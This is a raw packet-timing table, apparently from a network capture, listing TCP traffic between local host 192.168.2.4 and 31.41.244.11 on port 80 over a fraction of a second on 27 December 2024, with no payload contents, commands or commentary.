Dec 27, 2024 08:46:30.046124935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.048373938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.048425913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.048485994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.048544884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.050746918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.050801039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.050841093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.050875902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.053145885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.053189039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.134639978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.134730101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.134839058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.134839058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.135530949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.135616064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.135673046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.135724068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.137320995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.137372971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.137448072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.137495041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.139147997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.139198065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.139241934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.139288902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.140935898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.140985966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.141068935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.141113043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.142663956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.142712116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.142760992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.142805099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.144452095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.144496918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.144534111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.144586086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.146173954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.146255016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.146330118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.146373987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.147929907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.147979021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.148036957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.148082018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.149589062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.149635077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.149698973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.149739981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.151254892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.151303053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.151371002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.151416063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.152941942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.152992010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.153069019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.153109074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.154599905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.154659033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.154753923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.154798031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.156212091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.156294107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.156332016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.156371117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.157830954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.157874107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.157947063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.157993078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.159471035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.159528971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.159570932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.159614086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.161052942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.161109924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.161128044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.161170959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.162648916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.162693024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.162760019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.162801027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.164228916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.164275885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.164355993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.164397955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.165777922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.165819883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.165895939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.165939093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.167407036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.167494059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.167494059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.167532921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.168903112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.168962955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.169023991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.169068098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.170433044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.170491934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.170553923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.170595884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.171974897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.172024965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.172065020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.172106981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.173517942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.173568010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.173605919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.173651934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.175017118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.175064087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.175152063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.175195932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.176490068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.176541090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.176598072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.176645994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.177999973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.178049088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.178086996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.178136110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.179500103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.179562092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.179600000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.179637909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.181063890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.181123018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.181154966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.181200027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.182535887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.182585001 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.182617903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.182660103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.184015036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.184062004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.184106112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.184158087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.185528040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.185570002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.185643911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.185684919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.187020063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.187066078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.187136889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.187180996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.188517094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.188568115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.188627958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.188668013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.190012932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.190062046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.190143108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.190188885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.191550970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.191605091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.191659927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.191701889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.193082094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.193140984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.193173885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.193216085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.194567919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.194626093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.194663048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.194706917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.196036100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.196085930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.196139097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.196181059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.197526932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.197575092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.197643995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.197686911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.199043989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.199122906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.199193954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.199234962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.200576067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.200624943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.200661898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.200702906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.202053070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.202100992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.202137947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.202176094 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.203546047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.203587055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.203696012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.203733921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.205063105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.205104113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.205174923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.205214024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.206583023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.206624031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.206684113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.206722975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.208062887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.208084106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.208105087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.208117962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.209570885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.209650993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.209688902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.209728003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.211050987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.211105108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.211139917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.211183071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.212584019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.212630987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.212663889 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.212699890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.214055061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.214102983 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.214207888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.214248896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.215607882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.215652943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.215717077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.215758085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.217031956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.217077017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.336335897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.336361885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.336466074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.336514950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.336720943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.336770058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.336805105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.336850882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.337810993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.337858915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.337896109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.337943077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.338880062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.338931084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.338977098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.339024067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.339962006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.340018034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.340055943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.340101957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.341039896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.341089010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.341119051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.341166973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.342102051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.342153072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.342192888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.342236996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.343198061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.343245983 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.343286037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.343332052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.344233990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.344276905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.344347954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.344394922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.345315933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.345367908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.345411062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.345451117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.346425056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.346473932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.346513987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.346553087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.347462893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.347500086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.347831964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.347877979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.348522902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.348568916 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.348613977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.348651886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.349616051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.349663019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.349689960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.349725962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.350666046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.350712061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.350761890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.350800991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.351732969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.351778984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.351836920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.351875067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.352864027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.352909088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.353024960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.353065014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.353931904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.353981972 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.354099035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.354139090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.354976892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.355030060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.355076075 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.355123043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.356157064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.356214046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.356251955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.356298923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.357120037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.357213974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.357249022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.357296944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.358182907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.358239889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.358284950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.358330011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.359252930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.359316111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.359354019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.359400988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.360363007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.360426903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.360459089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.360502005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.361485958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.361538887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.361577988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.361624956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.362528086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.362586021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.362659931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.362704992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.363574982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.363646030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.363688946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.363727093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.364717007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.364779949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.364794016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.364830971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.365708113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.365760088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.365796089 CET	80	49839	31.41.244.11	192.168.2.4
